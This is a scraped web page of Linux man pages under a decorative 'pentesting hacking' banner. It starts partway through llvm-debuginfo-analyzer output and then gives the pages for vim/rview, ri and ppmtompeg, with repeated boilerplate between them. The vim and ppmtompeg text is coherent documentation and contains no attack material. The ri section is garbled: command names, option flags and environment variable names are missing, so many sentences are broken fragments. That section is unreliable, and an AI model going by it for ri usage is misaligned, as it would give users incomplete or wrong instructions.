[0x0000000032][003]                  {Code} 'movl     %eax, -0x4(%rbp)'
[0x0000000035][003]      9           {Line} {NewStatement} '/test.cpp'
[0x0000000035][003]                  {Code} 'movl     -0x4(%rbp), %eax'
[0x0000000038][003]                  {Code} 'popq     %rbp'
[0x0000000039][003]                  {Code} 'retq'
[0x000000003a][003]      9           {Line} {NewStatement} {EndSequence} '/test.cpp'

-----------------------------
Element      Total    Printed
-----------------------------
Scopes           3          3
Symbols          4          4
Types            5          5
Lines           25         25
-----------------------------
Total           37         37

Scope Sizes:
       189 (100.00%) : [0x000000000b][001]              {CompileUnit} 'test.cpp'
       110 ( 58.20%) : [0x000000002a][002]      2         {Function} extern not_inlined 'foo' -> [0x0000000099]'int'
        27 ( 14.29%) : [0x0000000071][003]                  {Block}

Totals by lexical level:
[001]:        189 (100.00%)
[002]:        110 ( 58.20%)
[003]:         27 ( 14.29%)

The Scope Sizes table shows the contribution in bytes to the debug information by each scope, which can be used to determine unexpected size changes in the DWARF sections between different versions of the same toolchain.

[0x000000002a][002] 2 {Function} extern not_inlined ‘foo’ -> [0x0000000099]‘int’ [0x000000002a][003] {Range} Lines 2:9 [0x0000000000:0x000000003a] [0x000000002a][003] {Linkage} 0x2 ‘_Z3fooPKijb’ [0x0000000071][003] {Block} [0x0000000071][004] {Range} Lines 5:8 [0x000000001c:0x000000002f] [0x000000007e][004] 5 {Variable} ‘CONSTANT’ -> [0x00000000c3]‘const INTEGER’ [0x000000007e][005] {Coverage} 100.00% [0x000000007f][005] {Location} [0x000000007f][006] {Entry} Stack Offset: -28 (0xffffffffffffffe4) [DW_OP_fbreg]

The {Range} attribute describe the line ranges for a logical scope. For this case, the function foo is within the lines 2 and 9.

The {Coverage} and {Location} attributes describe the debug location and coverage for logical symbols. For optimized code, the coverage value decreases and it affects the program debuggability.

EXIT STATUS

llvm-debuginfo-analyzer returns 0 if the input files were parsed and printed successfully. Otherwise, it returns 1.

SEE ALSO

llvm-dwarfdump

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

404 - Linux cli command rview

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rview and provides detailed information about the command rview, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rview.

NAME 🖥️ rview 🖥️

Vi IMproved, a programmer’s text editor

SYNOPSIS

vim [options] [file ..]
vim [options] -
vim [options] -t tag
vim [options] -q [errorfile]

ex
view
gvim gview evim eview
rvim rview rgvim rgview

DESCRIPTION

Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs.

There are a lot of enhancements above Vi: multi level undo, multi windows and buffers, syntax highlighting, command line editing, filename completion, on-line help, visual selection, etc.. See “:help vi_diff.txt” for a summary of the differences between Vim and Vi.

While running Vim a lot of help can be obtained from the on-line help system, with the “:help” command. See the ON-LINE HELP section below.

Most often Vim is started to edit a single file with the command

vim file

More generally Vim is started with:

vim [options] [filelist]

If the filelist is missing, the editor will start with an empty buffer. Otherwise exactly one out of the following four may be used to choose one or more files to be edited.

file ..
A list of filenames. The first one will be the current file and read into the buffer. The cursor will be positioned on the first line of the buffer. You can get to the other files with the “:next” command. To edit a file that starts with a dash, precede the filelist with “–”.

-
The file to edit is read from stdin. Commands are read from stderr, which should be a tty.

-t {tag}
The file to edit and the initial cursor position depends on a “tag”, a sort of goto label. {tag} is looked up in the tags file, the associated file becomes the current file and the associated command is executed. Mostly this is used for C programs, in which case {tag} could be a function name. The effect is that the file containing that function becomes the current file and the cursor is positioned on the start of the function. See “:help tag-commands”.

-q [errorfile]
Start in quickFix mode. The file [errorfile] is read and the first error is displayed. If [errorfile] is omitted, the filename is obtained from the ’errorfile’ option (defaults to “AztecC.Err” for the Amiga, “errors.err” on other systems). Further errors can be jumped to with the “:cn” command. See “:help quickfix”.

Vim behaves differently, depending on the name of the command (the executable may still be the same file).

vim
The “normal” way, everything is default.

ex
Start in Ex mode. Go to Normal mode with the “:vi” command. Can also be done with the “-e” argument.

view
Start in read-only mode. You will be protected from writing the files. Can also be done with the “-R” argument.

gvim gview
The GUI version. Starts a new window. Can also be done with the “-g” argument.

evim eview
The GUI version in easy mode. Starts a new window. Can also be done with the “-y” argument.

rvim rview rgvim rgview
Like the above, but with restrictions. It will not be possible to start shell commands, or suspend Vim. Can also be done with the “-Z” argument.

OPTIONS

The options may be given in any order, before or after filenames. Options without an argument can be combined after a single dash.

+[num]
For the first file the cursor will be positioned on line “num”. If “num” is missing, the cursor will be positioned on the last line.

+/{pat}
For the first file the cursor will be positioned in the line with the first occurrence of {pat}. See “:help search-pattern” for the available search patterns.

+{command}
-c {command}
{command} will be executed after the first file has been read. {command} is interpreted as an Ex command. If the {command} contains spaces it must be enclosed in double quotes (this depends on the shell that is used). Example: vim “+set si” main.c
Note: You can use up to 10 “+” or “-c” commands.

-S {file}
{file} will be sourced after the first file has been read. This is equivalent to -c “source {file}”. {file} cannot start with ‘-’. If {file} is omitted “Session.vim” is used (only works when -S is the last argument).

–cmd {command}
Like using “-c”, but the command is executed just before processing any vimrc file. You can use up to 10 of these commands, independently from “-c” commands.

-A
If Vim has been compiled with ARABIC support for editing right-to-left oriented files and Arabic keyboard mapping, this option starts Vim in Arabic mode, i.e. ‘arabic’ is set. Otherwise an error message is given and Vim aborts.

-b
Binary mode. A few options will be set that makes it possible to edit a binary or executable file.

-C
Compatible. Set the ‘compatible’ option. This will make Vim behave mostly like Vi, even though a .vimrc file exists.

-d
Start in diff mode. There should between two to eight file name arguments. Vim will open all the files and show differences between them. Works like vimdiff(1).

-d {device}, -dev {device}
Open {device} for use as a terminal. Only on the Amiga. Example: “-d con:20/30/600/150”.

-D
Debugging. Go to debugging mode when executing the first command from a script.

-e
Start Vim in Ex mode, just like the executable was called “ex”.

-E
Start Vim in improved Ex mode, just like the executable was called “exim”.

-f
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in. On the Amiga, Vim is not restarted to open a new window. This option should be used when Vim is executed by a program that will wait for the edit session to finish (e.g. mail). On the Amiga the “:sh” and “:!” commands will not work.

–nofork
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in.

-F
If Vim has been compiled with FKMAP support for editing right-to-left oriented files and Farsi keyboard mapping, this option starts Vim in Farsi mode, i.e. ‘fkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-g
If Vim has been compiled with GUI support, this option enables the GUI. If no GUI support was compiled in, an error message is given and Vim aborts.

–gui-dialog-file {name}
When using the GUI, instead of showing a dialog, write the title and message of the dialog to file {name}. The file is created or appended to. Only useful for testing, to avoid that the test gets stuck on a dialog that can’t be seen. Without the GUI the argument is ignored.

–help, -h, -?
Give a bit of help about the command line arguments and options. After this Vim exits.

-H
If Vim has been compiled with RIGHTLEFT support for editing right-to-left oriented files and Hebrew keyboard mapping, this option starts Vim in Hebrew mode, i.e. ‘hkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-i {viminfo}
Specifies the filename to use when reading or writing the viminfo file, instead of the default “~/.viminfo”. This can also be used to skip the use of the .viminfo file, by giving the name “NONE”.

-L
Same as -r.

-l
Lisp mode. Sets the ’lisp’ and ‘showmatch’ options on.

-m
Modifying files is disabled. Resets the ‘write’ option. You can still modify the buffer, but writing a file is not possible.

-M
Modifications not allowed. The ‘modifiable’ and ‘write’ options will be unset, so that changes are not allowed and files can not be written. Note that these options can be set to enable making modifications.

-N
No-compatible mode. Resets the ‘compatible’ option. This will make Vim behave a bit better, but less Vi compatible, even though a .vimrc file does not exist.

-n
No swap file will be used. Recovery after a crash will be impossible. Handy if you want to edit a file on a very slow medium (e.g. floppy). Can also be done with “:set uc=0”. Can be undone with “:set uc=200”.

-nb
Become an editor server for NetBeans. See the docs for details.

-o[N]
Open N windows stacked. When N is omitted, open one window for each file.

-O[N]
Open N windows side by side. When N is omitted, open one window for each file.

-p[N]
Open N tab pages. When N is omitted, open one tab page for each file.

-P {parent-title}
Win32 GUI only: Specify the title of the parent application. When possible, Vim will run in an MDI window inside the application. {parent-title} must appear in the window title of the parent application. Make sure that it is specific enough. Note that the implementation is still primitive. It won’t work with all applications and the menu doesn’t work.

-R
Read-only mode. The ‘readonly’ option will be set. You can still edit the buffer, but will be prevented from accidentally overwriting a file. If you do want to overwrite a file, add an exclamation mark to the Ex command, as in “:w!”. The -R option also implies the -n option (see above). The ‘readonly’ option can be reset with “:set noro”. See “:help ‘readonly’”.

-r
List swap files, with information about using them for recovery.

-r {file}
Recovery mode. The swap file is used to recover a crashed editing session. The swap file is a file with the same filename as the text file with “.swp” appended. See “:help recovery”.

-s
Silent mode. Only when started as “Ex” or when the “-e” option was given before the “-s” option.

-s {scriptin}
The script file {scriptin} is read. The characters in the file are interpreted as if you had typed them. The same can be done with the command “:source! {scriptin}”. If the end of the file is reached before the editor exits, further characters are read from the keyboard.

-T {terminal}
Tells Vim the name of the terminal you are using. Only required when the automatic way doesn’t work. Should be a terminal known to Vim (builtin) or defined in the termcap or terminfo file.

–not-a-term
Tells Vim that the user knows that the input and/or output is not connected to a terminal. This will avoid the warning and the two second delay that would happen.

–ttyfail
When stdin or stdout is not a a terminal (tty) then exit right away.

-u {vimrc}
Use the commands in the file {vimrc} for initializations. All the other initializations are skipped. Use this to edit a special kind of files. It can also be used to skip all initializations by giving the name “NONE”. See “:help initialization” within vim for more details.

-U {gvimrc}
Use the commands in the file {gvimrc} for GUI initializations. All the other GUI initializations are skipped. It can also be used to skip all GUI initializations by giving the name “NONE”. See “:help gui-init” within vim for more details.

-V[N]
Verbose. Give messages about which files are sourced and for reading and writing a viminfo file. The optional number N is the value for ‘verbose’. Default is 10.

-V[N]{filename}
Like -V and set ‘verbosefile’ to {filename}. The result is that messages are not displayed but written to the file {filename}. {filename} must not start with a digit.

–log {filename}
If Vim has been compiled with eval and channel feature, start logging and write entries to {filename}. This works like calling ch_logfile({filename}, ‘ao’) very early during startup.

-v
Start Vim in Vi mode, just like the executable was called “vi”. This only has effect when the executable is called “ex”.

-w{number}
Set the ‘window’ option to {number}.

-w {scriptout}
All the characters that you type are recorded in the file {scriptout}, until you exit Vim. This is useful if you want to create a script file to be used with “vim -s” or “:source!”. If the {scriptout} file exists, characters are appended.

-W {scriptout}
Like -w, but an existing file is overwritten.

-x
Use encryption when writing files. Will prompt for a crypt key.

-X
Don’t connect to the X server. Shortens startup time in a terminal, but the window title and clipboard will not be used.

-y
Start Vim in easy mode, just like the executable was called “evim” or “eview”. Makes Vim behave like a click-and-type editor.

-Z
Restricted mode. Works like the executable starts with “r”.


Denotes the end of the options. Arguments after this will be handled as a file name. This can be used to edit a filename that starts with a ‘-’.

–clean
Do not use any personal configuration (vimrc, plugins, etc.). Useful to see if a problem reproduces with a clean Vim setup.

–echo-wid
GTK GUI only: Echo the Window ID on stdout.

–literal
Take file name arguments literally, do not expand wildcards. This has no effect on Unix where the shell expands wildcards.

–noplugin
Skip loading plugins. Implied by -u NONE.

–remote
Connect to a Vim server and make it edit the files given in the rest of the arguments. If no server is found a warning is given and the files are edited in the current Vim.

–remote-expr {expr}
Connect to a Vim server, evaluate {expr} in it and print the result on stdout.

–remote-send {keys}
Connect to a Vim server and send {keys} to it.

–remote-silent
As –remote, but without the warning when no server is found.

–remote-wait
As –remote, but Vim does not exit until the files have been edited.

–remote-wait-silent
As –remote-wait, but without the warning when no server is found.

–serverlist
List the names of all Vim servers that can be found.

–servername {name}
Use {name} as the server name. Used for the current Vim, unless used with a –remote argument, then it’s the name of the server to connect to.

–socketid {id}
GTK GUI only: Use the GtkPlug mechanism to run gvim in another window.

–startuptime {file}
During startup write timing messages to the file {fname}.

–version
Print version information and exit.

–windowid {id}
Win32 GUI only: Make gvim try to use the window {id} as a parent, so that it runs inside that window.

ON-LINE HELP

Type “:help” in Vim to get started. Type “:help subject” to get help on a specific subject. For example: “:help ZZ” to get help for the “ZZ” command. Use <Tab> and CTRL-D to complete subjects (":help cmdline-completion"). Tags are present to jump from one place to another (sort of hypertext links, see “:help”). All documentation files can be viewed in this way, for example “:help syntax.txt”.

FILES

/usr/local/share/vim/vim??/doc/*.txt
The Vim documentation files. Use “:help doc-file-list” to get the complete list.
vim?? is short version number, like vim91 for Vim 9.1

/usr/local/share/vim/vim??/doc/tags
The tags file used for finding information in the documentation files.

/usr/local/share/vim/vim??/syntax/syntax.vim
System wide syntax initializations.

/usr/local/share/vim/vim??/syntax/*.vim
Syntax files for various languages.

/usr/local/share/vim/vimrc
System wide Vim initializations.

~/.vimrc, ~/.vim/vimrc, $XDG_CONFIG_HOME/vim/vimrc
Your personal Vim initializations (first one found is used).

/usr/local/share/vim/gvimrc
System wide gvim initializations.

~/.gvimrc, ~/.vim/gvimrc, $XDG_CONFIG_HOME/vim/gvimrc
Your personal gvim initializations (first one found is used).

/usr/local/share/vim/vim??/optwin.vim
Script used for the “:options” command, a nice way to view and set options.

/usr/local/share/vim/vim??/menu.vim
System wide menu initializations for gvim.

/usr/local/share/vim/vim??/bugreport.vim
Script to generate a bug report. See “:help bugs”.

/usr/local/share/vim/vim??/filetype.vim
Script to detect the type of a file by its name. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/scripts.vim
Script to detect the type of a file by its contents. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/print/*.ps
Files used for PostScript printing.

For recent info read the VIM home page:
<URL:http://www.vim.org/>

SEE ALSO

vimtutor(1)

AUTHOR

Most of Vim was made by Bram Moolenaar, with a lot of help from others. See “:help credits” in Vim.
Vim is based on Stevie, worked on by: Tim Thompson, Tony Andrews and G.R. (Fred) Walter. Although hardly any of the original code remains.

BUGS

Probably. See “:help todo” for a list of known problems.

Note that a number of things that may be regarded as bugs by some, are in fact caused by a too-faithful reproduction of Vi’s behaviour. And if you think other things are bugs “because Vi does it differently”, you should take a closer look at the vi_diff.txt file (or type :help vi_diff.txt when in Vim). Also have a look at the ‘compatible’ and ‘cpoptions’ options.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

405 - Linux cli command ri

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ri and provides detailed information about the command ri, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ri.

is a command-line front end for the Ruby API reference. You can search and read the API reference for classes and methods with

is a part of Ruby.

can be:

All class names may be abbreviated to their minimum unambiguous form. If a name is ambiguous, all valid options will be listed.

A

matches either class or instance methods, while #method matches only instance and ::method matches only class methods.

README and other files may be displayed by prefixing them with the gem name they’re contained in. If the gem name is followed by a

all files in the gem will be shown. The file name extension may be omitted where it is unambiguous.

For example:

ri Fil ri File ri File.new ri zip ri rdoc:README

Note that shell quoting or escaping may be required for method names containing punctuation:

ri ‘Array.[]’ ri compact\

To see the default directories

will search, run:

ri –list-doc-dirs

Specifying the

or

options will limit

to searching only the specified directories.

options may be set in the

environment variable.

The

pager can be set with the

environment variable or the

environment variable.

In interactive mode you can repeatedly look up methods with autocomplete.

Show all documentation for a class or module.

List classes

knows about.

Send output to a pager, rather than directly to stdout.

Synonym for

Set the width of the output.

Run RDoc server on the given port. The default port is 8214.

Use the selected formatter. The default formatter is

for paged output and

otherwise. Valid formatters are:

Show help and exit.

Output version information and exit.

Data source options:

List the directories from which

will source documentation on stdout and exit.

List of directories from which to source documentation in addition to the standard directories. May be repeated.

Do not include documentation from the Ruby standard library,

installed gems, or

Use with

Include documentation from Ruby’s standard library. Defaults to true.

Include documentation from libraries installed in

Defaults to true.

Include documentation from RubyGems. Defaults to true.

Include documentation stored in

Defaults to true.

Debug options:

Run with the Ruby profiler.

Dump data from an ri cache or data file.

Options to prepend to those specified on the command-line.

Pager program to use for displaying.

Path to the user’s home directory.

Path for ri data in the user’s home directory.

Security vulnerabilities should be reported via an email to

Reported problems will be published after being fixed.

Other bugs and feature requests can be reported via the Ruby Issue Tracking System

Do not report security vulnerabilities via this system because it publishes the vulnerabilities immediately.

Written by

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

406 - Linux cli command ppmtompeg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtompeg and provides detailed information about the command ppmtompeg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtompeg.

.

NAME 🖥️ ppmtompeg 🖥️

encode an MPEG-1 bitstream

SYNOPSIS

ppmtompeg [options] parameter-file

DESCRIPTION

This program is part of Netpbm(1) .

ppmtompeg produces an MPEG-1 video stream. MPEG-1 is the first great video compression method, and is what is used in Video CDs (VCD). ppmtompeg originated in the year 1995. DVD uses a more advanced method, MPEG-2. There is an even newer method called MPEG-4 which is also called Divx. I don’t know where one finds that used.

There’s technically a difference between a compression method for video and an actual file (stream) format for a movie, and I don’t know if it can be validly said that the format of the stream ppmtompeg produces is MPEG-1.

Mencoder from the Mplayer package is probably superior for most video format generation needs, if for no other reason than that it is more popular.

The programming library PM2V generates MPEG-2 streams.

Use Mplayer (not part of Netpbm) to do the reverse conversion: to create a series of PNM files from an MPEG stream.

param_file is a parameter file which includes a list of input files and other parameters. The file is described in detail below.

To understand this program, you need to understand something about the complex MPEG-1 format. One source of information about this standard format is the section Introduction to MPEG in the Compression FAQ .

OPTIONS

The -gop, -combine_gops, -frames, and -combine_frames options are all mutually exclusive.

-stat stat_file
This option causes ppmtompeg to append the statistics that it write to Standard Output to the file stat_file as well. The statistics use the following abbreviations: bits per block (bpb), bits per frame (bpf), seconds per frame (spf), and bits per second (bps).

These statistics include how many I, P, and B frames there were, and information about compression and quality.

-quiet num_seconds
causes ppmtompeg not to report remaining time more often than every num_seconds seconds (unless the time estimate rises, which will happen near the beginning of the run). A negative value tells ppmtompeg not to report at all. 0 is the default (reports once after each frame). Note that the time remaining is an estimate and does not take into account time to read in frames.

-realquiet
causes ppmtompeg to run silently, with the only screen output being errors. Particularly useful when reading input from stdin. The equivalent of the -quiet common option of most other Netpbm programs.

-no_frame_summary
This option prevents ppmtompeg from printing a summary line for each frame

-float_dct
forces ppmtompeg to use a more accurate, yet more computationally expensive version of the DCT.

-gop gop_num
causes ppmtompeg to encode only the numbered GOP (first GOP is 0). The parameter file is the same as for normal usage. The output file will be the normal output file with the suffix **.gop.**gop_num. ppmtompeg does not output any sequence information.

-combine_gops
causes ppmtompeg simply to combine some GOP files into a single MPEG output stream. ppmtompeg inserts a sequence header and trailer. In this case, the parameter file needs only to contain the SIZE value, an output file, and perhaps a list of input GOP files (see below).

If you don’t supply a list of input GOP files is used, then ppmtompeg assumes you’re using the same parameter file you used when you created the input (with the -gop option) and calculates the corresponding gop filenames itself. If this is not the case, you can specify input GOP files in the same manner as normal input files – except instead of using INPUT_DIR, INPUT, and END_INPUT, use GOP_INPUT_DIR, GOP_INPUT, and GOP_END_INPUT. If no input GOP files are specified, then the default is to use the output file name with suffix **.gop.**gop_num, with gop_num starting from 0, as the input files.

Thus, unless you’re mixing and matching GOP files from different sources, you can simply use the same parameter file for creating the GOP files (-gop) and for later turning them into an MPEG stream (-combine_gops).

-frames first_frame last_frame
This option causes ppmtompeg to encode only the frames numbered first_frame to last_frame, inclusive. The parameter file is the same as for normal usage. The output will be placed in separate files, one per frame, with the file names being the normal output file name with the suffix **.frame.**frame_num. No GOP header information is output. (Thus, the parameter file need not include the GOP_SIZE value)

Use ppmtompeg -combine_frames to combine these frames later into an MPEG stream.

-combine_frames
This option causes ppmtompeg simply to combine some individual MPEG frames (such as you might have created with an earlier run of ppmtompeg -frames*) into a single MPEG stream. Sequence* and GOP headers are inserted appropriately. In this case, the parameter file needs to contain only the SIZE value, the GOP_SIZE value, an output file, and perhaps a list of frame files (see below).

The parameter file may specify input frame files in the same manner as normal input files – except instead of using INPUT_DIR, INPUT, and END_INPUT, use FRAME_INPUT_DIR, FRAME_INPUT, and FRAME_END_INPUT. If no input frame files are specified, then the default is to use the output file name with suffix **.frame.**frame_num, with frame_num starting from 0, as the input files.

-nice
This option causes ppmtompeg to run any remote processes “nicely,” i.e. at low priority. (This is relevant only if you are running ppmtompeg in parallel mode. Otherwise, there are no remote processes). See ‘man nice.’

-max_machines num_machines
This option causes ppmtompeg to use no more than num_machines machines as slaves for use in parallel encoding.

-snr
This option causes ppmtompeg to include the signal-to-noise ratio in the reported statistics. Prints SNR (Y U V) and peak SNR (Y U V) for each frame. In summary, prints averages of luminance only (Y). SNR is defined as 10*log(variance of original/variance of error). Peak SNR is defined as 20*log(255/RMSE). Note that ppmtompeg runs a little slower when you use this option.

-mse
This option causes ppmtompeg to report the mean squared error per block. It also automatically reports the quality of the images, so there is no need to specify -snr then.

-bit_rate_info rate_file
This option makes ppmtompeg write bit rate information into the file rate_file. Bit rate information is bits per frame, and also bits per I-frame-to-I-frame.

-mv_histogram
This option causes ppmtompeg to print a histogram of the motion vectors as part of statistics. There are three histograms – one for P frame, one for forward B frame, and one for backward B frame motion vectors.

The output is in the form of a matrix, each entry corresponding to one motion vector in the search window. The center of the matrix represents (0,0) motion vectors.

-debug_sockets
This option causes ppmtompeg to print to Standard Output messages that narrate the communication between the machines when you run ppmtompeg in parallel mode .

-debug_machines
This option causes ppmtompeg to print to Standard Output messages that narrate the progress of the conversion on the various machines when you run ppmtompeg in parallel mode .

PARAMETER FILE

The parameter file must contain the following lines (except when using the -combine_gops or -combine_frames options):

PATTERN pattern
This statement specifies the pattern (sequence) of I frames, P frames, and B frames. pattern is just a sequence of the letters I, P, and B with nothing between. Example:

    PATTERN IBBPBBPBBPBBPBB
</pre>

See 
I Frames, P Frames, B Frames
.

OUTPUT output file
This names the file where the output MPEG stream goes.
     
INPUT_DIR directory
This statement tells where the input images (frames) come from.
If each frame is in a separate file, directory is the directory
where they all are.  You may use . to refer to the current 
directory.  A null directory refers to the root directory of the
system file tree.

To have ppmtompeg read all the frames serially from Standard 
Input, specify
    INPUT_DIR stdin

INPUT
This line must be followed by a list of the input files (in display order) and then the line END_INPUT*.*

There are three types of lines between INPUT and END_INPUT. First, a line may simply be the name of an input file. Second, the line may be of the form single_star_expr [x-y]. single_star_expr can have a single * in it. It is replaced by all the numbers between x and y inclusive. So, for example, the line tennis*.ppm [12-15] refers to the files tennis12.ppm, tennis13.ppm, tennis14.ppm, tennis15.ppm.

Uniform zero-padding occurs, as well. For example, the line football.*.ppm [001-130] refers to the files football.001.ppm, football.002.ppm, …, football.009.ppm, football.010.ppm, …, football.130.ppm.

The third type of line is: single_star_expr [x-y+s], where the line is treated exactly as above, except that we skip by s. Thus, the line football.*.ppm [001-130+4] refers to the files football.001.ppm, football.005.ppm, football.009.ppm, football.013.ppm, etc.

Furthermore, a line may specify a shell command to execute to generate lines to be interpreted as described above, as if those lines were in the parameter file instead. Use back ticks, like in the Bourne Shell, like this:

    `cat myfilelist`

If input is from Standard Input (per the INPUT_DIR statement), ppmtompeg ignores the INPUT*/*END_INPUT block, but it still must be present.

BASE_FILE_FORMAT {PPM | PNM | YUV |
JPEG | JMOVIE
}
ppmtompeg must convert all input files to one of the following formats as a first step of processing: PNM, YUV, JPEG(v4), or JMOVIE. (The conversion may be trivial if your input files are already in one of these formats). This line specifies which of the four formats. PPM is actually a subset of PNM. The separate specification is allowed for backward compatibility. Use PNM instead of PPM in new applications.

INPUT_CONVERT conversion_command
You must specify how to convert a file to the base file format. If no conversion is necessary, then you would just say:

     INPUT_CONVERT *

Otherwise, conversion_command is a shell command that causes an image in the format your specified with BASE_FILE_FORMAT to be written to Standard Output. ppmtompeg executes the command once for each line between INPUT and END_INPUT (which is normally, but not necessarily, a file name). In the conversion command, ppmtompeg replaces each ‘*’ with the contents of that line. If you had a bunch of gif files, you might say:

     INPUT_CONVERT giftopnm *

If you have a bunch of separate a.Y, a.U, and a.V files (where the U and V have already been subsampled), then you might say:

     INPUT_CONVERT cat *.Y *.U *.V

Input conversion is not allowed with input from stdin, so use

     INPUT_CONVERT *

as described above.

SIZE widthxheight
width and height are the width and height of each frame in pixels.

When ppmtompeg can get this information from the input image files, it ignores the SIZE parameter and you may omit it.

When the image files are in YUV format, the files don’t contain dimension information, so SIZE is required.

When ppmtompeg is running in parallel mode, not all of the processes in the network have access to the image files, so SIZE is required and must give the same dimensions as the input image files.

YUV_SIZE widthxheight
This is an obsolete synonym of SIZE*.*

YUV_FORMAT *{*ABEKAS | PHILLIPS | UCB |
EYUV | pattern} This is meaningful only when BASE_FILE_FORMAT specifies YUV format, and then it is required. It specifies the sub-format of the YUV class.

GOP_SIZE n
n is the number of frames in a Group of Pictures. Except that because a GOP must start with an I frame, ppmtompeg makes a GOP as much longer than n as it has to to make the next GOP start with an I frame.

Normally, it makes sense to make your GOP size a multiple of your pattern length (the latter is determined by the PATTERN parameter file statement).

See Group Of Pictures .

SLICES_PER_FRAME n
n is roughly the number of slices per frame. Note, at least one MPEG player may complain if slices do not start at the left side of an image. To ensure this does not happen, make sure the number of rows is divisible by SLICES_PER_FRAME.

PIXEL {FULL | HALF}
use half-pixel motion vectors, or just full-pixel ones It is usually important that you use half-pixel motion vectors, because it results in both better quality and better compression.

RANGE n
Use a search range of n pixels in each of the four directions from a subject pixel. (So the search window is a square n*2 pixels on a side).

PSEARCH_ALG {EXHAUSTIVE | TWOLEVEL |
SUBSAMPLE | LOGARITHMIC
}
This statement tells ppmtompeg what kind of search technique (algorithm) to use for P frames. You select the desired combination of speed and compression. EXHAUSTIVE gives the best compression, but LOGARITHMIC is the fastest. TWOLEVEL is an exhaustive full-pixel search, followed by a local half- pixel search around the best full-pixel vector (the PIXEL option is ignored for this search technique).

BSEARCH_ALG {SIMPLE | CROSS2 | EXHAUSTIVE}
This statement tells ppmtompeg what kind of search technique (algorithm) to use for B frames. SIMPLE means find best forward and backward vectors, then interpolate. CROSS2 means find those two vectors, then see what backward vector best matches the best forward vector, and vice versa. EXHAUSTIVE does an n-squared search and is extremely slow in relation to the others (CROSS2 is about half as fast as SIMPLE).

IQSCALE n
Use n as the qscale for I frames. See Qscale .

PQSCALE n
Use n as the qscale for P frames. See Qscale .

BQSCALE n
Use n as the qscale for B frames. See Qscale .

REFERENCE_FRAME {ORIGINAL | DECODED}
This statement determines whether ppmtompeg uses the original images or the decoded images when computing motion vectors. Using decoded images is more accurate and should increase the playback quality of the output, but it makes the encoding take longer and seems to give worse compression. It also causes some complications with parallel encoding. (see the section on parallel encoding). One thing you can do as a trade-off is select ORIGINAL here, and lower the qscale (see QSCALE if the quality is not good enough.

Original or Decoded? (Normalized)

_
ReferenceCompressionSpeedQuality IQuality PQuality B
Decoded100010001000969919
Original88513731000912884

The following lines are optional:

FORCE_ENCODE_LAST_FRAME
